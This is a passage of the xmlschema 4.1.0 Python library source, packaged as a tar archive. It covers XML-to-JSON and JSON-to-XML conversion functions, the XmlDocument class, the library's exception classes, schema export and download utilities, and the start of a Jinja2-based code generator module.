DecodeType[Any]: """ Decodes an XML document to a Python's nested dictionary. Takes the same arguments of the function :meth:`iter_decode`, but *validation* mode defaults to 'strict'. :return: an object containing the decoded data. If ``validation='lax'`` is provided \ validation errors are collected and returned in a tuple with the decoded data. :raises: :exc:`XMLSchemaValidationError` if the XML document is invalid and \ ``validation='strict'`` is provided. """ source, _schema = get_context( xml_document, schema, cls, locations, use_location_hints, **kwargs ) return _schema.decode(source, path=path, validation=validation, use_location_hints=use_location_hints, **kwargs) def to_json(xml_document: Union[XMLSourceType, XMLResource], fp: Optional[IO[str]] = None, schema: Optional[XMLSchemaBase] = None, cls: Optional[Type[XMLSchemaBase]] = None, path: Optional[str] = None, validation: str = 'strict', locations: Optional[LocationsType] = None, use_location_hints: bool = True, json_options: Optional[dict[str, Any]] = None, **kwargs: Any) -> JsonDecodeType: """ Serialize an XML document to JSON. For default the XML data is validated during the decoding phase. Raises an :exc:`XMLSchemaValidationError` if the XML document is not validated against the schema. :param xml_document: can be an :class:`XMLResource` instance, a file-like object a path \ to a file or a URI of a resource or an Element instance or an ElementTree instance or \ a string containing the XML data. If the passed argument is not an :class:`XMLResource` \ instance a new one is built using this and *defuse*, *timeout* and *lazy* arguments. :param fp: can be a :meth:`write()` supporting file-like object. :param schema: can be a schema instance or a file-like object or a file path or a URL \ of a resource or a string containing the schema. :param cls: schema class to use for building the instance (for default uses \ :class:`XMLSchema10`). :param path: is an optional XPath expression that matches the elements of the XML \ data that have to be decoded. If not provided the XML root element is used. :param validation: defines the XSD validation mode to use for decode, can be \ 'strict', 'lax' or 'skip'. :param locations: additional schema location hints, in case the schema instance \ has to be built. :param use_location_hints: for default, in case a schema instance has \ to be built, uses also schema locations hints provided within XML data. \ set this option to `False` to ignore these schema location hints. :param json_options: a dictionary with options for the JSON serializer. :param kwargs: optional arguments of :meth:`XMLSchemaBase.iter_decode` as keyword arguments \ to variate the decoding process. :return: a string containing the JSON data if *fp* is `None`, otherwise doesn't \ return anything. If ``validation='lax'`` keyword argument is provided the validation \ errors are collected and returned, eventually coupled in a tuple with the JSON data. :raises: :exc:`XMLSchemaValidationError` if the object is not decodable by \ the XSD component, or also if it's invalid when ``validation='strict'`` is provided. """ dummy_schema = validation == 'skip' source, _schema = get_context( xml_document, schema, cls, locations, use_location_hints, dummy_schema, **kwargs ) if json_options is None: json_options = {} if 'decimal_type' not in kwargs: kwargs['decimal_type'] = float errors: list[XMLSchemaValidationError] = [] if path is None and source.is_lazy() and 'cls' not in json_options: json_options['cls'] = get_lazy_json_encoder(errors) obj = _schema.decode(source, path=path, validation=validation, use_location_hints=use_location_hints, **kwargs) if isinstance(obj, tuple): errors.extend(obj[1]) if fp is not None: json.dump(obj[0], fp, **json_options) return tuple(errors) else: result = json.dumps(obj[0], **json_options) return result, tuple(errors) elif fp is not None: json.dump(obj, fp, **json_options) return None if not errors else tuple(errors) else: result = json.dumps(obj, **json_options) return result if not errors else (result, tuple(errors)) def to_etree(obj: Any, schema: Optional[Union[XMLSchemaBase, SchemaSourceType]] = None, cls: Optional[Type[XMLSchemaBase]] = None, path: Optional[str] = None, validation: str = 'strict', namespaces: Optional[NsmapType] = None, use_defaults: bool = True, converter: Optional[ConverterType] = None, unordered: bool = False, **kwargs: Any) -> EncodeType[ElementType]: """ Encodes a data structure/object to an ElementTree's Element. :param obj: the Python object that has to be encoded to XML data. :param schema: can be a schema instance or a file-like object or a file path or a URL \ of a resource or a string containing the schema. If not provided a dummy schema is used. :param cls: class to use for building the schema instance (for default uses \ :class:`XMLSchema10`). :param path: is an optional XPath expression for selecting the element of the schema \ that matches the data that has to be encoded. For default the first global element of \ the schema is used. :param validation: the XSD validation mode. Can be 'strict', 'lax' or 'skip'. :param namespaces: is an optional mapping from namespace prefix to URI. :param use_defaults: whether to use default values for filling missing data. :param converter: an :class:`XMLSchemaConverter` subclass or instance to use for \ the encoding. :param unordered: a flag for explicitly activating unordered encoding mode for \ content model data. This mode uses content models for a reordered-by-model \ iteration of the child elements. :param kwargs: other optional arguments of :meth:`XMLSchemaBase.iter_encode` and \ options for the converter. :return: An element tree's Element instance. If ``validation='lax'`` keyword argument is \ provided the validation errors are collected and returned coupled in a tuple with the \ Element instance. :raises: :exc:`XMLSchemaValidationError` if the object is not encodable by the schema, \ or also if it's invalid when ``validation='strict'`` is provided. """ if cls is None: cls = XMLSchema10 elif not issubclass(cls, XMLSchemaBase): raise XMLSchemaTypeError("invalid schema class %r" % cls) if schema is None: if not path: raise XMLSchemaTypeError("without schema a path is required " "for building a dummy schema") if namespaces is None: tag = get_extended_qname(path, {'xsd': XSD_NAMESPACE, 'xs': XSD_NAMESPACE}) else: tag = get_extended_qname(path, namespaces) if not tag.startswith('{') and ':' in tag: raise XMLSchemaTypeError("without schema the path must be " "mappable to a local or extended name") if tag == XSD_SCHEMA: assert cls.meta_schema is not None _schema = cls.meta_schema else: _schema = get_dummy_schema(tag, cls) elif isinstance(schema, XMLSchemaBase): _schema = schema else: _schema = cls(schema) return _schema.encode( obj=obj, path=path, validation=validation, namespaces=namespaces, use_defaults=use_defaults, converter=converter, unordered=unordered, **kwargs ) def from_json(source: Union[str, bytes, IO[str]], schema: Optional[Union[XMLSchemaBase, SchemaSourceType]] = None, cls: Optional[Type[XMLSchemaBase]] = None, path: Optional[str] = None, validation: str = 'strict', namespaces: Optional[NsmapType] = None, use_defaults: bool = True, converter: Optional[ConverterType] = None, unordered: bool = False, json_options: Optional[dict[str, Any]] = None, **kwargs: Any) -> EncodeType[ElementType]: """ Deserialize JSON data to an XML Element. :param source: can be a string or a :meth:`read()` supporting file-like object \ containing the JSON document. :param schema: an :class:`XMLSchema10` or an :class:`XMLSchema11` instance. :param cls: class to use for building the schema instance (for default uses \ :class:`XMLSchema10`). :param path: is an optional XPath expression for selecting the element of the schema \ that matches the data that has to be encoded. For default the first global element of \ the schema is used. :param validation: the XSD validation mode. Can be 'strict', 'lax' or 'skip'. :param namespaces: is an optional mapping from namespace prefix to URI. :param use_defaults: whether to use default values for filling missing data. :param converter: an :class:`XMLSchemaConverter` subclass or instance to use for \ the encoding. :param unordered: a flag for explicitly activating unordered encoding mode for \ content model data. This mode uses content models for a reordered-by-model \ iteration of the child elements. :param json_options: a dictionary with options for the JSON deserializer. :param kwargs: other optional arguments of :meth:`XMLSchemaBase.iter_encode` and \ options for converter. :return: An element tree's Element instance. If ``validation='lax'`` keyword argument is \ provided the validation errors are collected and returned coupled in a tuple with the \ Element instance. :raises: :exc:`XMLSchemaValidationError` if the object is not encodable by the schema, \ or also if it's invalid when ``validation='strict'`` is provided. """ if json_options is None: json_options = {} if isinstance(source, (str, bytes)): obj = json.loads(source, **json_options) else: obj = json.load(source, **json_options) return to_etree( obj=obj, schema=schema, cls=cls, path=path, validation=validation, namespaces=namespaces, use_defaults=use_defaults, converter=converter, unordered=unordered, **kwargs ) class XmlDocument(XMLResource): """ An XML document bound with its schema. If no schema is get from the provided context and validation argument is 'skip' the XML document is associated with a generic schema, otherwise a ValueError is raised. :param source: a string containing XML data or a file path or a URL or a \ file like object or an ElementTree or an Element. :param schema: can be a :class:`xmlschema.XMLSchema` instance or a file-like \ object or a file path or a URL of a resource or a string containing the XSD schema. :param cls: class to use for building the schema instance (for default \ :class:`XMLSchema10` is used). :param validation: the XSD validation mode to use for validating the XML document, \ that can be 'strict' (default), 'lax' or 'skip'. :param namespaces: is an optional mapping from namespace prefix to URI. :param locations: resource location hints, that can be a dictionary or a \ sequence of couples (namespace URI, resource URL). :param use_location_hints: for default, in case a schema instance has \ to be built, uses also schema locations hints provided within XML data. \ set this option to `False` to ignore these schema location hints. :param kwargs: other optional arguments for building :class:`XMLResource` or \ :class:`XMLSchema` instances provided as keyword arguments. """ errors: Union[tuple[()], list[XMLSchemaValidationError]] = () def __init__(self, source: XMLSourceType, schema: Optional[Union[XMLSchemaBase, SchemaSourceType]] = None, cls: Optional[Type[XMLSchemaBase]] = None, validation: str = 'strict', namespaces: Optional[NsmapType] = None, locations: Optional[LocationsType] = None, use_location_hints: bool = True, **kwargs: Any) -> None: check_validation_mode(validation) resource_kwargs = {k: v for k, v in kwargs.items() if k in RESOURCE_KWARGS} super().__init__(source, **resource_kwargs) self.validation = validation self._init_namespaces = get_namespace_map(namespaces) self.namespaces = super().get_namespaces(namespaces, root_only=True) _self, self.schema = get_context( self, schema, cls, locations, use_location_hints, dummy_schema=validation == 'skip', **kwargs ) if validation == 'strict': self.schema.validate(self, namespaces=self.namespaces) elif validation == 'lax': self.errors = [e for e in self.schema.iter_errors(self, namespaces=self.namespaces)] elif validation != 'skip': raise XMLSchemaValueError("%r is not a validation mode" % validation) def get_arguments(self) -> dict[str, Any]: """Returns keyword arguments for rebuilding the XML document.""" kwargs = super().get_arguments() kwargs.update( validation=self.validation, schema=self.schema, namespaces=self._init_namespaces ) return kwargs def get_namespaces(self, namespaces: Optional[NsmapType] = None, root_only: bool = True) -> NsmapType: namespaces = get_namespace_map(namespaces) update_namespaces(namespaces, self.namespaces.items(), root_declarations=True) return super().get_namespaces(namespaces, root_only) def getroot(self) -> ElementType: """Get the root element of the XML document.""" return self.root def get_etree_document(self) -> Any: """ The resource as ElementTree XML document. If the resource is lazy raises a resource error. """ if is_etree_document(self._source): return self._source elif self._lazy: raise XMLResourceError( "cannot create an ElementTree instance from a lazy XML resource" ) elif hasattr(self.root, 'nsmap'): return self.root.getroottree() # type: ignore[attr-defined] else: return ElementTree.ElementTree(self.root) def decode(self, **kwargs: Any) -> DecodeType[Any]: """ Decode the XML document to a nested Python dictionary. :param kwargs: options for the decode/to_dict method of the schema instance. """ if 'validation' not in kwargs: kwargs['validation'] = self.validation if 'namespaces' not in kwargs: kwargs['namespaces'] = self.namespaces obj = self.schema.to_dict(self, **kwargs) return obj[0] if isinstance(obj, tuple) else obj def to_json(self, fp: Optional[IO[str]] = None, json_options: Optional[dict[str, Any]] = None, **kwargs: Any) -> JsonDecodeType: """ Converts loaded XML data to a JSON string or file. :param fp: can be a :meth:`write()` supporting file-like object. :param json_options: a dictionary with options for the JSON deserializer. :param kwargs: options for the decode/to_dict method of the schema instance. """ if json_options is None: json_options = {} path = kwargs.pop('path', None) if 'validation' not in kwargs: kwargs['validation'] = self.validation if 'namespaces' not in kwargs: kwargs['namespaces'] = self.namespaces if 'decimal_type' not in kwargs: kwargs['decimal_type'] = float errors: list[XMLSchemaValidationError] = [] if path is None and self._lazy and 'cls' not in json_options: json_options['cls'] = get_lazy_json_encoder(errors) kwargs['lazy_decode'] = True obj = self.schema.decode(self, path=path, **kwargs) if isinstance(obj, tuple): if fp is not None: json.dump(obj[0], fp, **json_options) obj[1].extend(errors) return tuple(obj[1]) else: result = json.dumps(obj[0], **json_options) obj[1].extend(errors) return result, tuple(obj[1]) elif fp is not None: json.dump(obj, fp, **json_options) return None if not errors else tuple(errors) else: result = json.dumps(obj, **json_options) return result if not errors else (result, tuple(errors)) def write(self, file: Union[str, TextIO, BinaryIO], encoding: str = 'us-ascii', xml_declaration: bool = False, default_namespace: Optional[str] = None, method: str = "xml") -> None: """Serialize an XML resource to a file. Cannot be used with lazy resources.""" if self._lazy: raise XMLResourceError("cannot serialize a lazy XML resource") kwargs: dict[str, Any] = { 'xml_declaration': xml_declaration, 'encoding': encoding, 'method': method, } if not default_namespace: kwargs['namespaces'] = self.namespaces else: namespaces: Optional[dict[Optional[str], str]] namespaces = {k: v for k, v in self.namespaces.items()} if hasattr(self.root, 'nsmap'): # noinspection PyTypeChecker namespaces[None] = default_namespace else: namespaces[''] = default_namespace kwargs['namespaces'] = namespaces _string = etree_tostring(self.root, **kwargs) if isinstance(file, str): if isinstance(_string, str): with open(file, 'w', encoding='utf-8') as fp: fp.write(_string) else: with open(file, 'wb') as _fp: _fp.write(_string) elif isinstance(file, TextIOBase): if isinstance(_string, bytes): file.write(_string.decode('utf-8')) else: file.write(_string) elif isinstance(file, IOBase): if isinstance(_string, str): file.write(_string.encode('utf-8')) else: file.write(_string) else: msg = "unexpected type %r for 'file' argument" raise XMLSchemaTypeError(msg % type(file)) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/exceptions.py�������������������������������������������������������������0000664�0000000�0000000�00000003620�15020401055�0020202�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from xml.etree.ElementTree import ParseError class XMLSchemaException(Exception): """The base exception that let you catch all the errors generated by the library.""" class XMLSchemaOSError(XMLSchemaException, OSError): pass class XMLSchemaAttributeError(XMLSchemaException, AttributeError): pass class XMLSchemaTypeError(XMLSchemaException, TypeError): pass class XMLSchemaValueError(XMLSchemaException, ValueError): pass class XMLSchemaKeyError(XMLSchemaException, KeyError): pass class XMLSchemaRuntimeError(XMLSchemaException, RuntimeError): pass class XMLSchemaNamespaceError(XMLSchemaException, RuntimeError): """Raised when a wrong runtime condition is found with a namespace.""" class XMLSchemaWarning(Warning): """Base warning class for the XMLSchema package.""" class XMLResourceError(XMLSchemaException): """ A generic error on an XML resource that catches all the errors generated by an XML resource/loader instance on accessing XML data. """ class XMLResourceParseError(XMLResourceError, ParseError): """Raised when an error is found parsing an XML resource.""" class XMLResourceBlocked(XMLResourceError): """Raised when an XML resource access is blocked by security settings.""" class XMLResourceForbidden(XMLResourceError): """Raised when the parsing of an XML resource is forbidden for safety reasons.""" class XMLResourceOSError(XMLResourceError, OSError): """ Raised when an XMLResource calls a system function that returns a system-related error, including I/O operations. """ ����������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/exports.py����������������������������������������������������������������0000664�0000000�0000000�00000035276�15020401055�0017541�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2023, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import re import logging import pprint from dataclasses import dataclass from itertools import chain from pathlib import Path from collections.abc import Iterable from typing import Any, Optional, Union from urllib.parse import unquote, urlsplit from xml.etree import ElementTree from xmlschema.aliases import SchemaType from xmlschema.exceptions import XMLSchemaValueError, XMLResourceOSError from xmlschema.names import XSD_SCHEMA, XSD_IMPORT, XSD_INCLUDE, XSD_REDEFINE, XSD_OVERRIDE from xmlschema.utils.logger import logged from xmlschema.utils.paths import LocationPath from xmlschema.utils.urls import is_remote_url, normalize_url, match_location from xmlschema.translation import gettext as _ from xmlschema.resources import XMLResource logger = logging.getLogger('xmlschema') FIND_PATTERN = r'\bschemaLocation\s*=\s*[\'"]([^\'"]*)[\'"]' REPLACE_PATTERN = r'\bschemaLocation\s*=\s*[\'"]\s*{0}\s*[\'"]' @dataclass class XsdSource: """Class for keeping track of an XSD schema source.""" path: LocationPath resource: XMLResource def __init__(self, path: LocationPath, resource: XMLResource) -> None: self.path = path self.resource = resource self.text = resource.get_text() self.processed = False self.modified = False self.substitutions: Optional[list[tuple[str, str]]] = None @property def schema_locations(self) -> set[str]: """Extract schema locations from XSD resource tree.""" locations = set() for child in self.resource.root: if child.tag in (XSD_IMPORT, XSD_INCLUDE, XSD_REDEFINE, XSD_OVERRIDE): schema_location = child.get('schemaLocation', '').strip() if schema_location: locations.add(schema_location) return locations def replace_location(self, location: str, repl_location: str) -> None: if location == repl_location: return logger.debug("Replace location %r with %r", location, repl_location) repl = f'schemaLocation="{repl_location}"' pattern = REPLACE_PATTERN.format(re.escape(location)) self.text = re.sub(pattern, repl, self.text) self.modified = True def get_location_path(self, location: str, ref: Union[SchemaType, XMLResource], modify: bool = True) -> LocationPath: """ Return a relative location path for the referred XSD schema, replacing the original location in the schema source, if necessary. """ parts: Any if is_remote_url(location): parts = urlsplit(unquote(location)) path = LocationPath(parts.scheme). \ joinpath(parts.netloc). \ joinpath(parts.path.lstrip('/')) else: if location.startswith('file:/'): path = LocationPath(unquote(urlsplit(location).path)) else: path = LocationPath(unquote(location)) if not path.is_absolute(): path = self.path.parent.joinpath(path).normalize() if not str(path).startswith('..'): # A relative path that doesn't exceed the loading schema dir return path # Use the absolute resource path path = LocationPath(ref.filepath) # type: ignore[arg-type] if path.drive: drive = path.drive.split(':')[0] path = LocationPath(drive).joinpath('/'.join(path.parts[1:])) path = LocationPath('file').joinpath(path.as_posix().lstrip('/')) if path.is_absolute(): raise XMLSchemaValueError(f'Replacing path {path} is not relative!') # Obtain the replacement location parts = path.parent.parts dir_parts = self.path.parent.parts k = 0 for item1, item2 in zip(parts, dir_parts): if item1 != item2: break k += 1 if not k: prefix = '/'.join(['..'] * len(dir_parts)) repl_path = LocationPath(prefix).joinpath(path) else: repl_path = LocationPath('/'.join(parts[k:])).joinpath(path.name) if k < len(dir_parts): prefix = '/'.join(['..'] * (len(dir_parts) - k)) repl_path = LocationPath(prefix).joinpath(repl_path) repl_location = repl_path.as_posix() if location != repl_location: if self.substitutions is None: self.substitutions = [] self.substitutions.append((location, repl_location)) if modify: self.replace_location(location, repl_location) return path def save_sources(target: Union[str, Path], sources: Iterable[XsdSource], save_locations: bool = False) -> dict[str, str]: """Save XSD sources to a target directory.""" target_path = Path(target) if isinstance(target, str) else target if target_path.is_dir(): if list(target_path.iterdir()): msg = _("target directory {} is not empty") raise XMLSchemaValueError(msg.format(target)) elif target_path.exists(): msg = _("target {} is not a directory") raise XMLSchemaValueError(msg.format(target_path.parent)) elif not target_path.parent.exists(): msg = _("target parent directory {} does not exist") raise XMLSchemaValueError(msg.format(target_path.parent)) elif not target_path.parent.is_dir(): msg = _("target parent {} is not a directory") raise XMLSchemaValueError(msg.format(target_path.parent)) location_map = {} for src in sources: assert src.processed filepath = target_path.joinpath(src.path) # Safety check: raise error if filepath is not inside the target path try: filepath.resolve(strict=False).relative_to(target_path.resolve(strict=False)) except ValueError: msg = _("target directory {} violation for exported path {}, {}") raise XMLSchemaValueError(msg.format(target, str(src.path), str(filepath))) if not filepath.parent.exists(): filepath.parent.mkdir(parents=True) encoding = 'utf-8' # default encoding for XML 1.0 if src.text.startswith('<?'): # Get the encoding from XML declaration xml_declaration = src.text.split('\n', maxsplit=1)[0] re_match = re.search('(?<=encoding=["\'])[^"\']+', xml_declaration) if re_match is not None: encoding = re_match.group(0).lower() if src.modified: logger.info("Write modified XSD source to %s", filepath) else: logger.info("Write unchanged XSD source to %s", filepath) if src.substitutions: for location, repl_location in src.substitutions: if location not in location_map: location_map[location] = repl_location elif repl_location != location_map[location]: logger.warning("Substitution collision for location %r: %r != %r", location, repl_location, location_map[location]) with filepath.open(mode='w', encoding=encoding) as fp: fp.write(src.text) if save_locations: with target_path.joinpath('__init__.py').open('w') as fp: logger.info("Write LOCATION_MAP to %s", fp.name) fp.write(f'LOCATION_MAP = {pprint.pformat(location_map)}') return location_map @logged def export_schema(schema: SchemaType, target: Union[str, Path], save_remote: bool = False, remove_residuals: bool = True, exclude_locations: Optional[list[str]] = None, loglevel: Optional[Union[str, int]] = None) -> dict[str, str]: """ Export XSD sources used by a schema instance to a target directory. Don't use this function directly, use XMLSchema.export() method instead. """ def residuals_filter(x: str) -> bool: return is_remote_url(x) and x not in schema.includes and \ (exclude_locations is None or x not in exclude_locations) if loglevel is not None: logger.info("Export schema using loglevel %r", loglevel) name = schema.name or 'schema.xsd' exports = {schema: XsdSource(LocationPath(name), schema.source)} path: Any if exclude_locations is None: exclude_locations = [] logger.debug("Start export of schema %r", name) while True: current_length = len(exports) for schema in list(exports): schema_source = exports[schema] if schema_source.processed: continue # Skip already processed schemas schema_source.processed = True logger.debug("Process schema instance %r", schema) schema_locations = schema_source.schema_locations imports_items = [(x.url, x) for x in schema.imports.values() if x is not None and x.meta_schema is not None] for location, ref_schema in chain(schema.includes.items(), imports_items): if not location: continue elif location in exclude_locations or not save_remote and is_remote_url(location): logger.debug("Location %r is excluded by argument", location) continue # Find matching schema location location_match = match_location(location, schema_locations) if location_match is None: logger.debug("Unmatched location %r, skip ...", location) continue location = location_match logger.debug("Matched location %r", location) schema_locations.remove(location) path = schema_source.get_location_path(location, ref_schema) if ref_schema not in exports: exports[ref_schema] = XsdSource(path, ref_schema.source) if remove_residuals: # Deactivate residual redundant imports from remote URLs for location in filter(residuals_filter, schema_locations): logger.debug("Clear residual remote location %r", location) schema_source.replace_location(location, '') if current_length == len(exports): break return save_sources(target, exports.values()) @logged def download_schemas(url: str, target: Union[str, Path], save_remote: bool = True, save_locations: bool = True, modify: bool = False, defuse: str = 'remote', timeout: int = 300, exclude_locations: Optional[list[str]] = None, loglevel: Optional[Union[str, int]] = None) -> dict[str, str]: """ Download one or more schemas from a URL and save them in a target directory. All the referred locations in schema sources are downloaded and stored in the target directory. :param url: The URL of the schema to download, usually a remote one. :param target: the target directory to save the schema. :param save_remote: if to save remote schemas, defaults to `True`. :param save_locations: for default save a LOCATION_MAP dictionary to a `__init__.py`, \ that can be imported in your code to provide a *uri_mapper* argument for build the \ schema instance. Provide `False` to skip the package file creation in the target \ directory. :param modify: provide `True` to modify original schemas, defaults to `False`. :param defuse: when to defuse XML data before loading, defaults to `'remote'`. :param timeout: the timeout in seconds for the connection attempt in case of remote data. :param exclude_locations: provide a list of locations to skip. :param loglevel: for setting a different logging level for schema downloads call. :return: a dictionary containing the map of modified locations. """ if loglevel is not None: logger.info("Download schemas using loglevel %r", loglevel) resource = XMLResource(url, defuse=defuse, timeout=timeout) logger.info("Downloaded XML resource from %s", url) if resource.root.tag != XSD_SCHEMA: raise XMLSchemaValueError(f'Resource referred by {url} is not a XSD schema') name = resource.name downloads = { resource: XsdSource(LocationPath(name), resource) # type: ignore[arg-type] } path: Any if exclude_locations is None: exclude_locations = [] logger.debug("Start download of schema resource %r", name) while True: current_length = len(downloads) for resource in list(downloads): schema_source = downloads[resource] if schema_source.processed: continue # Skip already processed schemas schema_source.processed = True logger.debug("Process schema resource %r", resource) schema_locations = schema_source.schema_locations for location in schema_locations: if location in exclude_locations or not save_remote and is_remote_url(location): logger.debug("Location %r is excluded by argument", location) continue url = normalize_url(location, resource.base_url) if any(x.url == url for x in downloads): continue try: ref_resource = XMLResource(url, defuse=defuse, timeout=timeout) except (OSError, XMLResourceOSError) as err: logger.error('Error accessing resource at URL %s: %s', url, err) continue except ElementTree.ParseError as err: logger.error('Error parsing XML resource at URL %s: %s', url, err) continue else: logger.info("Downloaded XML resource from %s", url) if ref_resource.root.tag != XSD_SCHEMA: logger.error('XML resource at URL %s is not an XSD schema', url) continue path = schema_source.get_location_path(location, ref_resource, modify) downloads[ref_resource] = XsdSource(path, ref_resource) if current_length == len(downloads): break return save_sources(target, downloads.values(), save_locations) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/extras/�������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0016754�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/extras/__init__.py��������������������������������������������������������0000664�0000000�0000000�00000000000�15020401055�0021053�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/extras/codegen.py���������������������������������������������������������0000664�0000000�0000000�00000052562�15020401055�0020744�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # # mypy: ignore-errors """ This module contains abstact base class and helper functions for building XSD based code generators. """ import os import re import sys import inspect import logging from abc import ABC, ABCMeta from fnmatch import fnmatch from pathlib import Path from typing import Optional from jinja2 import Environment, ChoiceLoader, FileSystemLoader, \ TemplateNotFound, TemplateAssertionError from elementpath import datatypes import xmlschema from xmlschema.validators import XsdType, XsdElement, XsdAttribute from xmlschema.names import XSD_NAMESPACE NCNAME_PATTERN = re.compile(r'^[^\d\W][\w.\-]*$') QNAME_PATTERN = re.compile( r'^(?:(?P<prefix>[^\d\W][\w\-.\xb7\u0387\u06DD\u06DE]*):)?' r'(?P<local>[^\d\W][\w\-.\xb7\u0387\u06DD\u06DE]*)$', ) def is_shell_wildcard(pathname): return '*' in pathname or '?' in pathname or '[' in pathname def xsd_qname(name): return f'{{{XSD_NAMESPACE}}}{name}' def filter_method(func): """Marks a method for registration as template filter.""" func.is_filter = True return func def test_method(func): """Marks a method for registration as template test.""" func.is_test = True return func logger = logging.getLogger('xmlschema-codegen') class GeneratorMeta(ABCMeta): """Metaclass for creating code generators. Checks formal_language """ def __new__(mcs, name, bases, attrs): module = sys.modules.get(attrs['__module__']) module_path = getattr(module, '__file__', os.getcwd()) formal_language = None searchpaths = [] builtin_types = {} for base in bases: if getattr(base, 'formal_language', None): if formal_language is None: formal_language = base.formal_language elif formal_language != base.formal_language: raise ValueError("ambiguous formal_language from base classes") if getattr(base, 'searchpaths', None): searchpaths.extend(base.searchpaths) if getattr(base, 'builtin_types', None): builtin_types.update(base.builtin_types) if 'formal_language' not in attrs: attrs['formal_language'] = formal_language elif formal_language and formal_language != attrs['formal_language']: raise ValueError("formal_language cannot be changed") try: for path in attrs['searchpaths']: if Path(path).is_absolute(): dirpath = Path(path) else: dirpath = Path(module_path).parent.joinpath(path) if not dirpath.is_dir(): raise ValueError(f"path {str(path)!r} is not a directory!") searchpaths.append(dirpath) except (KeyError, TypeError): pass else: attrs['searchpaths'] = searchpaths try: for k, v in attrs['builtin_types'].items(): builtin_types[xsd_qname(k)] = v except (KeyError, AttributeError): pass finally: attrs['builtin_types'] = builtin_types return type.__new__(mcs, name, bases, attrs) class AbstractGenerator(ABC, metaclass=GeneratorMeta): """ Abstract base class for code generators based on Jinja2 template engine. :param schema: the source or the instance of the XSD schema. :param searchpath: additional search path for custom templates. \ If provided the search path has priority over searchpaths defined \ in generator class. :param types_map: a dictionary with custom mapping for XSD types. """ formal_language: Optional[str] = None """The formal language associated to the code generator (eg. Python).""" searchpaths: Optional[list[str]] = None """ Directory paths for searching templates, specified with a list or a tuple. Each path must be provided as relative from the directory of the module where the class is defined. Extends the searchpath defined in base classes. """ builtin_types = { 'anyType': '', 'anySimpleType': '', } """ Translation map for XSD builtin types. Updates the builtin_types defined in base classes. """ def __init__(self, schema, searchpath=None, types_map=None): if isinstance(schema, xmlschema.XMLSchemaBase): self.schema = schema else: self.schema = xmlschema.XMLSchema11(schema) file_loaders = [] if searchpath: file_loaders.append(FileSystemLoader(searchpath)) if self.searchpaths is not None: file_loaders.extend( FileSystemLoader(str(path)) for path in reversed(self.searchpaths) ) if not file_loaders: raise ValueError("no search paths defined!") loader = ChoiceLoader(file_loaders) if len(file_loaders) > 1 else file_loaders[0] self.types_map = self.builtin_types.copy() if types_map: if not self.schema.target_namespace: self.types_map.update(types_map) else: ns_part = '{%s}' % self.schema.target_namespace self.types_map.update((ns_part + k, v) for k, v in types_map.items()) self.filters = {} self.tests = {} for name in filter(lambda x: callable(getattr(self, x)), dir(self)): method = getattr(self, name) if inspect.isfunction(method): # static methods if getattr(method, 'is_filter', False): self.filters[name] = method elif getattr(method, 'is_test', False): self.tests[name] = method elif inspect.isroutine(method) and hasattr(method, '__func__'): # class and instance methods if getattr(method.__func__, 'is_filter', False): self.filters[name] = method elif getattr(method.__func__, 'is_test', False): self.tests[name] = method type_mapping_filter = f'{self.formal_language}_type'.lower().replace(' ', '_') if type_mapping_filter not in self.filters: self.filters[type_mapping_filter] = self.map_type self._env = Environment(loader=loader) self._env.filters.update(self.filters) self._env.tests.update(self.tests) def __repr__(self): if self.schema.url: return f'{self.__class__.__name__}(schema={self.schema.name!r})' return f'{self.__class__.__name__}(namespace={self.schema.target_namespace!r})' def list_templates(self, extensions=None, filter_func=None): return self._env.list_templates(extensions, filter_func) def matching_templates(self, name): return self._env.list_templates(filter_func=lambda x: fnmatch(x, name)) def get_template(self, name, parent=None, global_vars=None): return self._env.get_template(name, parent, global_vars) def select_template(self, names, parent=None, global_vars=None): return self._env.select_template(names, parent, global_vars) def render(self, names, parent=None, global_vars=None): if isinstance(names, str): names = [names] elif not all(isinstance(x, str) for x in names): raise TypeError("'names' argument must contain only strings!") results = [] for name in names: try: template = self._env.get_template(name, parent, global_vars) except TemplateNotFound as err: logger.debug("name %r: %s", name, str(err)) except TemplateAssertionError as err: logger.warning("template %r: %s", name, str(err)) else: results.append(template.render(schema=self.schema)) return results def render_to_files(self, names, parent=None, global_vars=None, output_dir='.', force=False): if isinstance(names, str): names = [names] elif not all(isinstance(x, str) for x in names): raise TypeError("'names' argument must contain only strings!") template_names = [] for name in names: if is_shell_wildcard(name): template_names.extend(self.matching_templates(name)) else: template_names.append(name) output_dir = Path(output_dir) rendered = [] for name in template_names: try: template = self._env.get_template(name, parent, global_vars) except TemplateNotFound as err: logger.debug("name %r: %s", name, str(err)) except TemplateAssertionError as err: logger.warning("template %r: %s", name, str(err)) else: output_file = output_dir.joinpath(Path(name).name).with_suffix('') if not force and output_file.exists(): continue result = template.render(schema=self.schema) logger.info("write file %r", str(output_file)) with open(output_file, 'w') as 